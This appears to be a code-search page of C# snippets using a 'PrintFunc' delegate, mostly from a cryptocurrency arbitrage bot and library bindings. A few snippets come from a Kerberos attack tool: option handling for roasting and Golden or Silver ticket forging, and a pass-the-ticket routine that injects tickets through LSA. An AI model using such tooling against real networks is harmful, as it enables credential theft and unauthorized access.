示例#1
0
        public static object PrintListGetItem <T>(List <T> list, PrintFunc Print)
        {
            int count;

            while (true)
            {
                count = 0;
                foreach (var thing in list)
                {
                    Print(thing, count);
                    count++;
                }

                LineHelpers.PrintLine(count + ". Exit");
                LineHelpers.PrintLine("Type the number...");
                int choice = Convert.ToInt32(Console.ReadLine());


                // if some error here count -1
                if (choice < list.Count && choice > 0 || choice == 0 && list.Count > 0)
                {
                    return(list[choice]);
                }
                // this checks if the choice is the right number or if the count is zero if the choice is zero
                if (choice == list.Count || list.Count == 0 && choice == 0)
                {
                    return(null);
                }
            }
        }
示例#2
0
        public static decimal ConversionPrice(decimal price, string currency, string payment = null, string convertibleCurrency = null)
        {
            payment = (payment == null ? StaticVariables.paymentWeighted : payment);
            if (payment.Equals(currency))
            {
                return(price);
            }

            string  symbole = currency + "_" + payment;
            decimal result  = price * StaticVariables.ConversionCurrencyPayment[symbole];

            convertibleCurrency = (convertibleCurrency == null ? StaticVariables.paymentWeighted : convertibleCurrency);

            if (payment.Equals(convertibleCurrency))
            {
                return(result);
            }

            string  Finalsymbole = payment + "_" + convertibleCurrency;
            decimal FinalConversionRatio;

            if (!StaticVariables.ConversionCurrencyPayment.TryGetValue(Finalsymbole, out FinalConversionRatio))
            {
                string warningMessage = String.Format("WARNING_Finalsymbole_{0}.txt", Finalsymbole);
                PrintTable.PrintConsole(warningMessage);
                PrintFunc.AddLine(StaticVariables.pathWithDate + warningMessage, warningMessage);
            }

            return(result * FinalConversionRatio);
        }
示例#3
0
        public static PrintFunc SetPrintErrorHandler(PrintFunc handler)
        {
            EnsureHash();
            handlers ["PrintErrorHandler"] = handler;

            return(g_set_printerr_handler(handler));
        }
示例#4
0
        // call by this.StartTradePackage
        public void Amounts()
        {
            minAmountFromExchange = Math.Min(buySymbolsDate.orderTrade.request.Amount, sellSymbolsDate.orderTrade.request.Amount);
            minAmountFromWallet   = StaticVariables.WalletAvailableAmount[currencyForWallet] / buySymbolsDate.orderTrade.maxOrMinPrice;
            originalAmountTrade   = Math.Min(minAmountFromExchange, minAmountFromWallet);

            decimal originalAmountTrade1 = Math.Max(originalAmountTrade, minAmountTrade);
            decimal originalAmountTrade2 = Math.Min(originalAmountTrade1, maxAmountTrade);

            AmountTrade = originalAmountTrade2;

#if DEBUG
            DateTime timeOrder = DateTime.Now;
            amountsPrint  = String.Format("{0}\n", timeOrder);
            amountsPrint += String.Format("buy.Amount - {0},\tsell.Amount - {1}\n", buySymbolsDate.orderTrade.request.Amount, sellSymbolsDate.orderTrade.request.Amount);
            amountsPrint += String.Format("minAmountFromExchange = Min(buy.Amount, sell.Amount) - {0}\n", minAmountFromExchange);
            amountsPrint += String.Format("minAmountFromWallet - {0}\n", minAmountFromWallet);
            amountsPrint += String.Format("originalAmountTrade = Min(minAmountFromExchange, minAmountFromWallet) - {0}\n", originalAmountTrade);

            amountsPrint += String.Format("minAmountTrade - {0},\tmaxAmountTrade - {1},\n", minAmountTrade, maxAmountTrade);

            amountsPrint += String.Format("originalAmountTrade1 = Max(originalAmountTrade, minAmountTrade) - {0},\n", originalAmountTrade1);
            amountsPrint += String.Format("originalAmountTrade2 = Min(originalAmountTrade1, maxAmountTrade) - {0},\n", originalAmountTrade2);
            amountsPrint += String.Format("AmountTrade = originalAmountTrade2 - {0},\n\n", AmountTrade);

            Directory.CreateDirectory(StaticVariables.pathDebug + currency);
            PrintFunc.AddLine(StaticVariables.pathDebug + currency + "/Amounts_" + currency + ".txt", amountsPrint);
#endif

            buySymbolsDate.orderTrade.request.Amount  = AmountTrade;
            sellSymbolsDate.orderTrade.request.Amount = AmountTrade;
        }
示例#5
0
        public static void PrintDataDebug()
        {
            PrintFunc.PrintList(StaticVariables.ListPaymentDontTrade, nameof(StaticVariables.ListPaymentDontTrade), StaticVariables.pathDataDebug);
            PrintFunc.PrintList(StaticVariables.PaymentListByWeight, nameof(StaticVariables.PaymentListByWeight), StaticVariables.pathDataDebug);
            PrintFunc.PrintDictionary(StaticVariables.Wallet, nameof(StaticVariables.Wallet), StaticVariables.pathDataDebug);
            PrintFunc.PrintDictionary(StaticVariables.WalletAvailableAmount, nameof(StaticVariables.WalletAvailableAmount), StaticVariables.pathDataDebug);
            PrintFunc.PrintDictionary(StaticVariables.WalletAvailable, nameof(StaticVariables.WalletAvailable), StaticVariables.pathDataDebug);
            PrintFunc.PrintDictionary(StaticVariables.ConversionCurrencyPayment, nameof(StaticVariables.ConversionCurrencyPayment), StaticVariables.pathDataDebug);
            PrintFunc.PrintDictionary(StaticVariables.listArbitrageSymbolsDate, nameof(StaticVariables.listArbitrageSymbolsDate), StaticVariables.pathDataDebug);
            PrintFunc.PrintDictionary(StaticVariables.magicNumberList, nameof(StaticVariables.magicNumberList), StaticVariables.pathDataDebug);

            PrintFunc.PrintDictionaryList(StaticVariables.symbolsDateList, nameof(StaticVariables.symbolsDateList), StaticVariables.pathDataDebug);

            string main1Var = String.Format("paymentWeighted - {0}\n", StaticVariables.paymentWeighted);

            main1Var += String.Format("usdName - {0}\n", StaticVariables.usdName);
            main1Var += String.Format("roundingPrice - {0}\n", StaticVariables.roundingPrice);
            main1Var += String.Format("eachAddPercentage - {0}\n", StaticVariables.eachAddPercentage);
            main1Var += String.Format("orderType - {0}\n", StaticVariables.orderType);
            main1Var += String.Format("FeeTrade - {0:P4}\n", StaticVariables.FeeTrade);
            main1Var += String.Format("maxTradeInUsdt - {0}\n", StaticVariables.maxTradeInUsdt);
            main1Var += String.Format("maxTradeInPaymentWeighted - {0}\n", StaticVariables.maxTradeInPaymentWeighted);
            main1Var += String.Format("revnuTrade - {0:P4}\n", StaticVariables.revnuTrade / 100);
            main1Var += String.Format("maxCount - {0}\n", StaticVariables.maxCount);
            main1Var += String.Format("CurrencyTradingFeeReduction - {0}\n", StaticVariables.CurrencyTradingFeeReduction);
            main1Var += String.Format("rateGateLimit - {0}\n", StaticVariables.rateGateLimit);

            PrintFunc.AddLine(StaticVariables.pathDataDebug + "Main1_var.txt", main1Var);
        }
示例#6
0
        public static async System.Threading.Tasks.Task Main(string[] args)
        {
            PrintFunc.PrintBanner();
            var parser = new Parser(with =>
            {
                with.CaseInsensitiveEnumValues = true;
                with.CaseSensitive             = false;
                with.HelpWriter = null;
            });

            parser.ParseArguments <Options>(args).WithParsed(o => { Options.Instance = o; }).WithNotParsed(error => { });
            parser.Dispose();

            var options = Options.Instance;

            if (options == null)
            {
                Options.GetHelp(); return;
            }

            if (options.Ticket == null & options.Asreproast == false & options.Kerberoast == false
                & options.AskTGS == false & options.AskTGT == false & options.S4U == false
                & options.S4U2Self == false & options.Golden == false & options.Sliver == false)
            {
                Options.GetHelp();
                Environment.Exit(0);
            }

            await Commands.ResolveCmd(options);

            Console.WriteLine();
        }
示例#7
0
 /// <summary>Print message if debugging</summary>
 ///
 /// <param name="fn">function to generaete message</param>
 public void Info(PrintFunc fn)
 {
     if (debug_)
     {
         Info(fn());
     }
 }
示例#8
0
        public Trade_package(decimal _precent, string _currency, SymbolsDate _buySymbolsDate, SymbolsDate _sellSymbolsDate)
        {
            api             = StaticVariables.api;
            itsBuyArbitrage = true;

            percent         = _precent;
            buySymbolsDate  = _buySymbolsDate;
            sellSymbolsDate = _sellSymbolsDate;
            currency        = _currency;

            buySymbol  = buySymbolsDate.symbole;
            sellSymbol = sellSymbolsDate.symbole;

            minAmountTrade = Math.Max(buySymbolsDate.MinAmount, sellSymbolsDate.MinAmount);
            maxAmountTrade = WalletFunc.GetMaxAmountTrade(buySymbolsDate.orderTrade.request.Price, buySymbolsDate.payment);
            maxAmountTrade = StaticVariables.api.ClampOrderQuantity(buySymbol, maxAmountTrade);
            if (maxAmountTrade < minAmountTrade)
            {
                string warningMessage = String.Format("currency - {0}, buySymbol - {1}, buy.MinAmount - {2}, sellSymbols - {3}, sell.MinAmount- {4}, minAmountTrade - {5}, maxAmountTrade - {6}", currency, buySymbol, buySymbolsDate.MinAmount, sellSymbol, sellSymbolsDate.MinAmount, minAmountTrade, maxAmountTrade);
                PrintTable.PrintConsole(warningMessage);
                PrintFunc.AddLine(StaticVariables.pathWithDate + "WARNING_maxAmount.txt", warningMessage);

                maxAmountTrade = minAmountTrade;
            }
        }
示例#9
0
        public CPUWithCPMOutputTrap(RAM mem, PrintFunc print) : base(mem, Enumerable.Range(0, 8).Select(_ => new Port()).ToList())
        {
            this.print = print;

            mem[5] = 0xc9; // return from output

            programCounter = 0x100;
        }
示例#10
0
        /// <summary>
        /// Sets the handler for printing error messages.
        /// </summary>
        /// <param name="handler">the new error message handler</param>
        /// <returns>the old error message handler</returns>
        public static PrintFunc SetPrintErrorHandler(PrintFunc handler)
        {
            var helper = new PrintHelper(handler);
            var prev   = GLib.GSetPrinterrHandler(helper.Handler);

            helper = new PrintHelper(prev);
            return(helper.Invoker);
        }
示例#11
0
 public static void StartTable(string PathFileName, string TableType)
 {
     if (!(File.Exists(PathFileName)))
     {
         string choosingTable = ChoosingTable(TableType);
         PrintFunc.AddLine(PathFileName, choosingTable);
     }
 }
示例#12
0
文件: Log.cs 项目: xclaesse/gtk-sharp
        public static PrintFunc SetPrintErrorHandler(PrintFunc handler)
        {
            PrintHelper     helper = new PrintHelper(handler);
            PrintFuncNative prev   = g_set_printerr_handler(helper.Handler);

            helper = new PrintHelper(prev);
            return(helper.Invoker);
        }
 public void ReversePrint(PrintFunc p)
 {
     if (Last == null)
     {
         p("Doubly Linked List is empty");
         return;
     }
     Curr = Last;
     while (Curr != null)
     {
         p(Curr.Data.ToString());
         Curr = Curr.Prev;
     }
 }
 public void Print(PrintFunc p)
 {
     if (First == null)
     {
         p("Doubly Linked List is empty");
         return;
     }
     Curr = First;
     while (Curr != null)
     {
         p(Curr.Data.ToString());
         Curr = Curr.Next;
     }
 }
示例#15
0
        // call by Start.FindAndTrade
        public bool StartTradePackageMagic()
        {
            StartTradePackage();

            buySymbolsDate.orderTrade.itsFirstOrder = true;
            revnuCalculation(percent);
            percent_0 = realPercentage;
            percent_1 = realPercentage;
            ChangeMaxOrMinPriceBuy((StaticVariables.revnuTrade / 100));

#if DEBUG
            PrintFunc.AddLine(StaticVariables.pathDebug + currency + "/buy_" + currency + ".csv", debug);
#endif

            return(result);
        }
示例#16
0
        public static void GetWalletAvailable()
        {
            decimal amaount;
            string  currency;
            string  symbole;
            string  payment = StaticVariables.paymentWeighted;

            for (int i = 0; i < StaticVariables.PaymentListByWeight.Count; i++)
            {
                currency = StaticVariables.PaymentListByWeight[i];
                payment  = StaticVariables.paymentWeighted;

                if (currency.Equals(payment))
                {
                    payment = StaticVariables.PaymentListByWeight[1];
                }

                symbole = currency + "_" + payment;
                SymbolsDate arbitrageSymbolsDate;

                if (StaticVariables.listArbitrageSymbolsDate.TryGetValue(symbole, out arbitrageSymbolsDate))
                {
                    amaount = arbitrageSymbolsDate.MinAmount;
                    StaticVariables.WalletAvailable[currency] = (StaticVariables.WalletAvailableAmount[currency] > amaount);
                }
                else
                {
                    symbole = payment + "_" + currency;

                    if (StaticVariables.listArbitrageSymbolsDate.TryGetValue(symbole, out arbitrageSymbolsDate))
                    {
                        amaount = arbitrageSymbolsDate.MinAmount;
                        amaount = ConversionPrice(amaount, payment);
                        StaticVariables.WalletAvailable[currency] = (StaticVariables.WalletAvailableAmount[currency] > amaount);
                    }
                    else
                    {
                        PrintException.ExceptionDeliberately("Missing symbol for mainMinAmount");
                    }
                }
            }

#if DEBUG
            PrintFunc.PrintDictionary(StaticVariables.WalletAvailableAmount, nameof(StaticVariables.WalletAvailableAmount), StaticVariables.pathDataDebug);
            PrintFunc.PrintDictionary(StaticVariables.WalletAvailable, nameof(StaticVariables.WalletAvailable), StaticVariables.pathDataDebug);
#endif
        }
示例#17
0
 public Routes(Routes o)
 {
     if (o.onLog != null)
     {
         onLog = (PrintFunc)o.onLog.Clone();
     }
     if (o.onError != null)
     {
         onError = (PrintFunc)o.onError.Clone();
     }
     if (o.onWarning != null)
     {
         onWarning = (PrintFunc)o.onWarning.Clone();
     }
     if (o.onAnyMessage != null)
     {
         onAnyMessage = (PrintFunc)o.onAnyMessage.Clone();
     }
 }
示例#18
0
        /// <summary>
        /// Specify output fpr LIBSVM.
        /// </summary>
        /// <param name="printFunc">The callback to receive the output and process.</param>
        /// <remarks>If specify null, it suppress output from LIBSVM.</remarks>
        public static void SetPrintFunction(PrintFunc printFunc)
        {
            if (printFunc == null)
            {
                printFunc = PrintNull;
            }

            var fp     = new PrintFunc(printFunc);
            var handle = GCHandle.Alloc(fp);
            var ip     = Marshal.GetFunctionPointerForDelegate(fp);

            NativeMethods.svm_set_print_string_function(ip);

            if (PrintFuncHandle.IsAllocated)
            {
                PrintFuncHandle.Free();
            }

            PrintFuncHandle = handle;
        }
示例#19
0
        public static async System.Threading.Tasks.Task Main(string[] args)
        {
            PrintFunc.PrintBanner();

            var options = new Options();

            if (!Parser.Default.ParseArguments(args, options))
            {
                return;
            }
            if (options.Ticket == null & options.Asreproast == false & options.Kerberoast == false
                & options.AskTGS == false & options.AskTGT == false & options.S4U == false
                & options.S4U2Self == false & options.Golden == false & options.Sliver == false)
            {
                Console.WriteLine(options.GetHelp());
                Environment.Exit(0);
            }

            await Commands.ResolveCmd(options);

            Console.WriteLine();
        }
示例#20
0
        static void Main()
        {
            var    Print = new PrintFunc(StringActs.Print);
            string str   = "abc,  abc,cda,  aabcd";
            var    str1  = StringActs.ToUpperCase(str);

            Print(str1);
            var str2 = StringActs.DelCommas(str1);

            Print(str2);
            var str3 = StringActs.DelSpaces(str2);

            Print(str3);
            var list = StringActs.GetWords(str3);

            foreach (var item in list)
            {
                Console.WriteLine(item);
            }

            Console.ReadKey();
            new VoidFunc(Game.Play)();
        }
示例#21
0
 public static void PTT(string ticket)
 {
     Console.WriteLine("[*] Importing Ticket...");
     if (Utils.Utils.IsBase64String(ticket))
     {
         var kirbiBytes = Convert.FromBase64String(ticket);
         PrintFunc.PrintKirbi(ticket);
         LSA.ImportTicket(kirbiBytes, new LUID());
         Environment.Exit(0);
     }
     else if (File.Exists(ticket))
     {
         byte[] kirbiBytes = File.ReadAllBytes(ticket);
         PrintFunc.PrintKirbi(Convert.ToBase64String(kirbiBytes));
         LSA.ImportTicket(kirbiBytes, new LUID());
         Environment.Exit(0);
     }
     else
     {
         Console.WriteLine("\r\n[x]Ticket must either be a .kirbi file or a base64 encoded .kirbi\r\n");
         Environment.Exit(0);
     }
 }
示例#22
0
文件: Log.cs 项目: sciyoshi/netgir
        public static PrintFunc SetPrintHandler(PrintFunc handler)
        {
            EnsureHash ();
            handlers ["PrintHandler"] = handler;

            return g_set_print_handler (handler);
        }
示例#23
0
 public static void YGNodeSetPrintFunc(YogaNode node, PrintFunc printFunc) => node.PrintFunc = printFunc;
示例#24
0
			public PrintHelper (PrintFunc managed)
			{
				this.managed = managed;
				GCHandle.Alloc (this);
			}
示例#25
0
		public static PrintFunc SetPrintErrorHandler (PrintFunc handler)
		{
			PrintHelper helper = new PrintHelper (handler);
			PrintFuncNative prev = g_set_printerr_handler (helper.Handler);
			helper = new PrintHelper (prev);
			return helper.Invoker;
		}
        public static bool HandlingOneOrderTrade(OrderHandling orderHandling, bool firstOrder)
        {
            orderHandling.OrderToCare.StartTrade();
            orderHandling.OrderToCare.Result = TradeUseCase.Order(orderHandling.OrderToCare.Request);
            string resPrint = String.Format("Handling Order - {0}-{1}, ExtraPercent {2:P0}, Percentage(without ExtraPercent) - {3:P3}, realPercentage - {4:P3}", (orderHandling.OrderToCare.request.IsBuy ? "Buy" :"Sell"), orderHandling.OrderToCare.request.Symbol, orderHandling.OrderToCare.extraPercent.Percent, orderHandling.percent / 100, orderHandling.realPercentage / 100);

            PrintTable.PrintConsole(resPrint);
            int     useCase      = 0;
            decimal difPrecentge = 0;

            System.Threading.Thread.Sleep(orderHandling.OrderToCare.ExtraPercent.WaitingTimeForNextPriceUpdate);
            orderHandling.OrderToCare.Result = TradeUseCase.OrderDetails(orderHandling.OrderToCare.Result);

            DateTime startTimeSmallAmount = DateTime.Now;

            while (!orderHandling.OrderToCare.Done)
            {
                if (orderHandling.OrderToCare.itsCanAdded & orderHandling.OrderToCare.itsCanUpdate)
                {
                    startTimeSmallAmount = DateTime.Now;
                    if (orderHandling.OrderToCare.Result.Result == ExchangeAPIOrderResult.FilledPartially)
                    {
                        difPrecentge = orderHandling.OrderToCare.Result.AmountFilled / orderHandling.OrderToCare.Result.Amount;
                        if (difPrecentge > 0.99m)
                        {
                            useCase = 4; // Current Order Cancellation
                        }
                        else
                        {
                            useCase = 3;  // We will also update the price in addition to the quantity update
                        }
                    }
                    else // if (orderHandling.OrderToCare.Result.Result == ExchangeAPIOrderResult.Pending)
                    {
                        useCase = 1; // Update price
                    }

                    TradeUseCase.Start(useCase, orderHandling);
                }
                else if (orderHandling.OrderToCare.Result.Result == ExchangeAPIOrderResult.Filled)
                {
                    return(true);
                }
                else if (orderHandling.OrderToCare.Result.Result == ExchangeAPIOrderResult.FilledPartially)
                {
                    if (firstOrder)     // We will cancel an order only in the case of a first order, because in other orders we will want the order to remain until it is executed
                    {
                        DateTime timeSmallAmount = DateTime.Now;
                        if (!(timeSmallAmount.Subtract(startTimeSmallAmount).TotalMinutes > 1))                                                                              // Limit of waiting for order to 1 minute
                        {
                            if ((orderHandling.OrderToCare.Result.AmountFilled + orderHandling.OrderToCare.AmountFilledDifferentOrderNumber) < orderHandling.minAmountTrade) // try fix bug of buying a small amount of coins, In use case of the quantity is less than the minimum for the trade, we will continue to wait until at least the required minimum is filled
                            {
                                continue;
                            }
                        }
                        else
                        {
                            useCase = 4; // Current Order Cancellation
                            TradeUseCase.Start(useCase, orderHandling);

                            if (orderHandling.OrderToCare.amountFilled < orderHandling.minAmountTrade)  // try fix bug of buying a small amount of coins, In use case of the quantity is less than the minimum for the trade, we will continue to wait until at least the required minimum is filled
                            {
                                ExchangeOrderRequest revertOrder = new ExchangeOrderRequest();
                                try
                                {
                                    revertOrder.Amount    = orderHandling.OrderToCare.amountFilled;
                                    revertOrder.IsBuy     = false;
                                    revertOrder.OrderType = StaticVariables.orderType;
                                    revertOrder.Price     = orderHandling.OrderToCare.Request.Price * (1 + (StaticVariables.FeeTrade * 2));
                                    revertOrder.Symbol    = orderHandling.OrderToCare.Request.Symbol;
                                    OrderTrade revertOrderTrade = new OrderTrade(revertOrder);
                                    revertOrderTrade.Result = StaticVariables.api.PlaceOrder(revertOrder);

                                    PrintTable.Start(StaticVariables.pathWithDate + "Small_Amount_Handling.csv", orderHandling.OrderToCare.Result.PrintSymbol(), "OrderResultSymbol");
                                    PrintTable.Start(StaticVariables.pathWithDate + "Small_Amount_Handling.csv", revertOrderTrade.Result.PrintSymbol(), "OrderResultSymbol");
                                }
                                catch (Exception ex)
                                {
                                    StaticVariables.Wallet = WalletFunc.GetWallet();     // Wallet update. Because part of the trade was carried out. Apparently the amounts of coins have changed

                                    string warningMessage = String.Format("{0},\tamountFilled - {1},\tAmount - {2},\tminAmountTrade - {3},", orderHandling.OrderToCare.request.Symbol, orderHandling.OrderToCare.amountFilled, orderHandling.OrderToCare.request.Amount, orderHandling.minAmountTrade);
                                    PrintTable.PrintConsole(warningMessage);
                                    PrintFunc.AddLine(StaticVariables.pathWithDate + "Small_Amount_Left.txt", warningMessage);
                                    PrintTable.Start(StaticVariables.pathWithDate + "Small_Amount_Left.csv", orderHandling.OrderToCare.request.Print(), "OrderResult");

                                    DateTime localDate   = DateTime.Now;
                                    string   printResult = String.Format("{0}\n{1}", localDate.ToString(), ex.ToString());
                                    PrintException.Start("Small_Amount_Left", printResult);
                                }
                            }

                            return(orderHandling.OrderToCare.succsseFirstOrder);
                        }
                    }
                    else
                    {
                        orderHandling.OrderToCare.ItsOrderLeft = true;
                        return(false);
                    }
                }
                else if (orderHandling.OrderToCare.Result.Result == ExchangeAPIOrderResult.Pending)
                {
                    if (firstOrder)     // We will cancel an order only in the case of a first order, because in other orders we will want the order to remain until it is executed
                    {
                        useCase = 4;    // Current Order Cancellation
                        TradeUseCase.Start(useCase, orderHandling);
                        return(orderHandling.OrderToCare.succsseFirstOrder);
                    }
                    else
                    {
                        orderHandling.OrderToCare.ItsOrderLeft = true;
                        return(false);
                    }
                }


                if (!orderHandling.OrderToCare.Done)
                {
                    System.Threading.Thread.Sleep(orderHandling.OrderToCare.ExtraPercent.WaitingTimeForNextPriceUpdate);
                    orderHandling.OrderToCare.Result = TradeUseCase.OrderDetails(orderHandling.OrderToCare.Result);
                    if (orderHandling.OrderToCare.Result.Result == ExchangeAPIOrderResult.Canceled)     // In case a cancellation was made by the stock exchange due to an order or quantity error
                    {
                        bool checkCancel = CancellationFunc.ReviewCancellationAndUpdateOrder(orderHandling);

                        if (firstOrder)
                        {
                            return(orderHandling.OrderToCare.succsseFirstOrder);
                        }
                        else
                        {
                            // TODO Check what amount has not traded. Maybe by the wallet. Update amount and send request in the current function
                        }
                    }
                }
            }

            if (firstOrder)
            {
                return(orderHandling.OrderToCare.succsseFirstOrder);   //  amountFilled > minAmaunt
            }
            else
            {
                return(orderHandling.OrderToCare.succsseTrade);                 // ((amountFilled == amountStart) || (amountFilled >= amountFinish))
            }
        }
示例#27
0
        public static void FindAndTrade(bool trade)
        {
            StaticVariables.Wallet = WalletFunc.GetWallet();
#if DEBUG
            PrintDataDebug();
#endif

            DateTime currentTime;
            string   timeHouer;
            string   pathSummaryFind;
            int      numFind = 0;

            while (true)
            {
                numFind++;
                currentTime = DateTime.Now;
                List <OrderHandling> packageList = new List <OrderHandling>();

                int  i = 0;
                bool tradeSuccses;
                List <MagicNumber> magicNumbersToUpdate = new List <MagicNumber>();
                foreach (var item in StaticVariables.symbolsDateList)
                {
                    if (i % 5 == 0)
                    {
                        WalletFunc.ConversionPayment();
                    }
                    i++;

                    tradeSuccses = false;
                    do
                    {
                        OrderHandling package;
                        try
                        {
                            package = FindingSymbolsTrading.ArbitragePercent(item.Key, item.Value);
                        }
                        catch (Exception ex)
                        {
                            package = null;
                            DateTime localDate   = DateTime.Now;
                            string   printResult = String.Format("{0}\n{1}", localDate.ToString(), ex.ToString());
                            printResult += String.Format("\ncurrency - {0}", item.Key);
                            PrintException.Start(MethodBase.GetCurrentMethod().Name, printResult);
                        }

                        if (package != null)
                        {
                            packageList.Add(package);
                            PrintTable.Start(StaticVariables.pathFindFile + item.Key + ".csv", package.ToString(), "Trade_package");

                            // TODO Add Func TradeFast

                            List <MagicNumber> magicNumbersTradeMagicToUpdate = new List <MagicNumber>();
                            if (package.percentPotential > StaticVariables.revnuTrade)
                            {
                                if (StaticVariables.rateGateLimit)
                                {
                                    StaticVariables.api.RateLimit.OneOpportunity = true;
                                }

                                try
                                {
                                    if (package.StartTradePackageMagic())
                                    {
                                        tradeSuccses = TradeMagic.Start(package);
                                    }
                                }
                                catch (Exception ex)
                                {
                                    StaticVariables.Wallet = WalletFunc.GetWallet();  // Wallet update. Because part of the trade was carried out. Apparently the amounts of coins have changed

                                    DateTime localDate   = DateTime.Now;
                                    string   printResult = String.Format("{0}\n{1}", localDate.ToString(), ex.ToString());
                                    PrintException.Start(MethodBase.GetCurrentMethod().Name, printResult);
                                    try
                                    {
                                        PrintTable.Start(StaticVariables.pathWithDate + "Exception_TradeMagic_" + item.Key + ".csv", package.Buy.ToString(), "OrderTrade");
                                        PrintTable.Start(StaticVariables.pathWithDate + "Exception_TradeMagic_" + item.Key + ".csv", package.Sell.ToString(), "OrderTrade");
                                        PrintTable.Start(StaticVariables.pathWithDate + "Exception_TradeMagic_" + item.Key + ".csv", package.Arbitrage.ToString(), "OrderTrade");
                                    }
                                    catch (Exception)
                                    {
                                        PrintTable.Start(StaticVariables.pathWithDate + "Exception_TradeMagic_Exception_" + item.Key + ".csv", package.ToString(), "Trade_package");
                                    }
                                }

                                if (StaticVariables.rateGateLimit)
                                {
                                    StaticVariables.api.RateLimit.OneOpportunity = false;
                                }

                                magicNumbersTradeMagicToUpdate.Add(package.buySymbolsDate.magicNumber);
                                magicNumbersTradeMagicToUpdate.Add(package.sellSymbolsDate.magicNumber);
                                magicNumbersTradeMagicToUpdate.Add(package.arbitrageSymbolsDate.magicNumber);
                                SqlMagicNumber.UpdateAll(magicNumbersTradeMagicToUpdate);
                            }
                            else
                            {
                                magicNumbersToUpdate.Add(package.buySymbolsDate.magicNumber);
                            }
                        }
                    } while (tradeSuccses);
                }

                SqlMagicNumber.UpdateAll(magicNumbersToUpdate);
                WaitingTimeML.Start();      // USE to ML_4
                timeHouer = String.Format("{0}-{1}-{2}", currentTime.Hour, currentTime.Minute, currentTime.Second);
                PrintTable.PrintConsole(timeHouer + "\t" + numFind);
                pathSummaryFind = StaticVariables.pathSummaryFind + "SummaryFind_" + timeHouer + ".csv";
                foreach (var item in packageList)
                {
                    PrintTable.Start(pathSummaryFind, item.ToString(), "Trade_package");
                    if (item.percent > StaticVariables.revnuTrade || item.percentPotential > StaticVariables.revnuTrade)
                    {
                        PrintTable.PrintConsole(item.ToConsole());
                        PrintTable.Start(StaticVariables.pathWithDate + "SummaryFind" + ".csv", item.ToString(), "Trade_package");
                    }
                }

#if DEBUG
                PrintFunc.PrintDictionary(StaticVariables.magicNumberList, nameof(StaticVariables.magicNumberList), StaticVariables.pathDataDebug);
#endif
            }
        }
        public static bool Start(OrderHandling orderHandling)
        {
            bool    result       = false;
            bool    orderIsLeft  = false;
            decimal cutAmountFee = 1;

            orderHandling.StartOrderHandling();

            /// buy
            orderHandling.OrderToCare = orderHandling.Buy;
            if (!HandlingOneOrderTrade(orderHandling, true))
            {
                return(false);
            }

            if (orderHandling.OrderToCare.amountFilled > orderHandling.AmountTrade)
            {
                string warningMessage = String.Format("orderHandling.OrderToCare.amountFilled - {0}, orderHandling.AmountTrade - {1},", orderHandling.OrderToCare.amountFilled, orderHandling.AmountTrade);
                PrintTable.PrintConsole(warningMessage);
                PrintFunc.AddLine(StaticVariables.pathWithDate + "WARNING_amountFilled Greater than AmountTrade.txt", warningMessage);
                PrintTable.Start(StaticVariables.pathWithDate + "WARNING_amountFilledOrderHandlingData.csv", orderHandling.PrintResult_2(), "OrderHandling");
            }
            else if (orderHandling.OrderToCare.amountFilled <= orderHandling.AmountTrade)
            {
                if (StaticVariables.CurrencyTradingFeeReduction)
                {
                    cutAmountFee = StaticVariables.api.FeeTrade(orderHandling.OrderToCare.originalMaxOrMinPrice == orderHandling.OrderToCare.request.Price);
                    orderHandling.AmountTrade = orderHandling.OrderToCare.amountFilled * cutAmountFee;
                }
                else
                {
                    orderHandling.AmountTrade = orderHandling.OrderToCare.amountFilled;
                }
                orderHandling.Sell.Request.Amount = orderHandling.AmountTrade;

                if (orderHandling.itsBuyArbitrage)
                {
                    orderHandling.Arbitrage.Request.Amount = orderHandling.AmountTrade * orderHandling.Buy.request.Price;
                }
                else
                {
                    orderHandling.Arbitrage.Request.Amount = orderHandling.AmountTrade * orderHandling.Sell.request.Price;
                }

                if (orderHandling.Arbitrage.request.Amount < orderHandling.arbitrageSymbolsDate.MinAmount)
                {
                    orderHandling.Arbitrage.request.Amount = orderHandling.arbitrageSymbolsDate.MinAmount;
                }
            }


            if (orderHandling.AmountTrade < orderHandling.minAmountTrade)
            {
                return(false);
            }

            // sell
            orderHandling.percent_2 = orderHandling.revnuCalculation(orderHandling.percent_1);
            orderHandling.ChangeMaxOrMinPriceSell((StaticVariables.revnuTrade / 100));
            orderHandling.OrderToCare = orderHandling.Sell;
            orderHandling.OrderToCare.UpExtraPercent();
            if (!HandlingOneOrderTrade(orderHandling, false))
            {
                orderIsLeft = true;
                orderHandling.buySymbolsDate.magicNumber.Buy.WaitingTimeForNextPriceUpdate   -= 300;               // USE to ML_4
                orderHandling.sellSymbolsDate.magicNumber.Sell.WaitingTimeForNextPriceUpdate -= 300;               // USE to ML_4
            }


            result = true;
#if DEBUG
            orderHandling.debug += String.Format("\n\n{0},cutAmountFee,\n{1},Buy.extraPercent.Percent,\n{2},AmountTrade,\n{3},Sell.request.Amount,", cutAmountFee, orderHandling.Buy.extraPercent.Percent, orderHandling.AmountTrade, orderHandling.OrderToCare.request.Amount);
            PrintFunc.AddLine(StaticVariables.pathDebug + orderHandling.currency + "/sell_" + orderHandling.currency + ".csv", orderHandling.debug);
#endif

            if (StaticVariables.CurrencyTradingFeeReduction)
            {
                cutAmountFee = StaticVariables.api.FeeTrade(orderHandling.OrderToCare.originalMaxOrMinPrice == orderHandling.OrderToCare.request.Price);
                orderHandling.AmountTrade = orderHandling.AmountTrade * cutAmountFee;
            }

            if (orderHandling.itsBuyArbitrage)
            {
                orderHandling.Arbitrage.Request.Amount = orderHandling.AmountTrade * orderHandling.Buy.request.Price;
            }
            else
            {
                orderHandling.Arbitrage.Request.Amount = orderHandling.AmountTrade * orderHandling.Sell.request.Price;
            }

            if (orderHandling.Arbitrage.request.Amount < orderHandling.arbitrageSymbolsDate.MinAmount)
            {
                orderHandling.Arbitrage.request.Amount = orderHandling.arbitrageSymbolsDate.MinAmount;
            }

            // arbitrage
            orderHandling.percent_3 = orderHandling.revnuCalculation(orderHandling.percent_2);
            orderHandling.ChangeMaxOrMinPriceArbitrage((StaticVariables.revnuTrade / 100));
            orderHandling.OrderToCare = orderHandling.Arbitrage;
            orderHandling.OrderToCare.UpExtraPercent();
            try
            {
                if (!HandlingOneOrderTrade(orderHandling, false))
                {
                    orderIsLeft = true;

                    if (orderHandling.itsBuyArbitrage)
                    {
                        orderHandling.arbitrageSymbolsDate.magicNumber.Buy.WaitingTimeForNextPriceUpdate -= 300;       // USE to ML_4
                    }
                    else
                    {
                        orderHandling.arbitrageSymbolsDate.magicNumber.Sell.WaitingTimeForNextPriceUpdate -= 300;      // USE to ML_4
                    }
                }
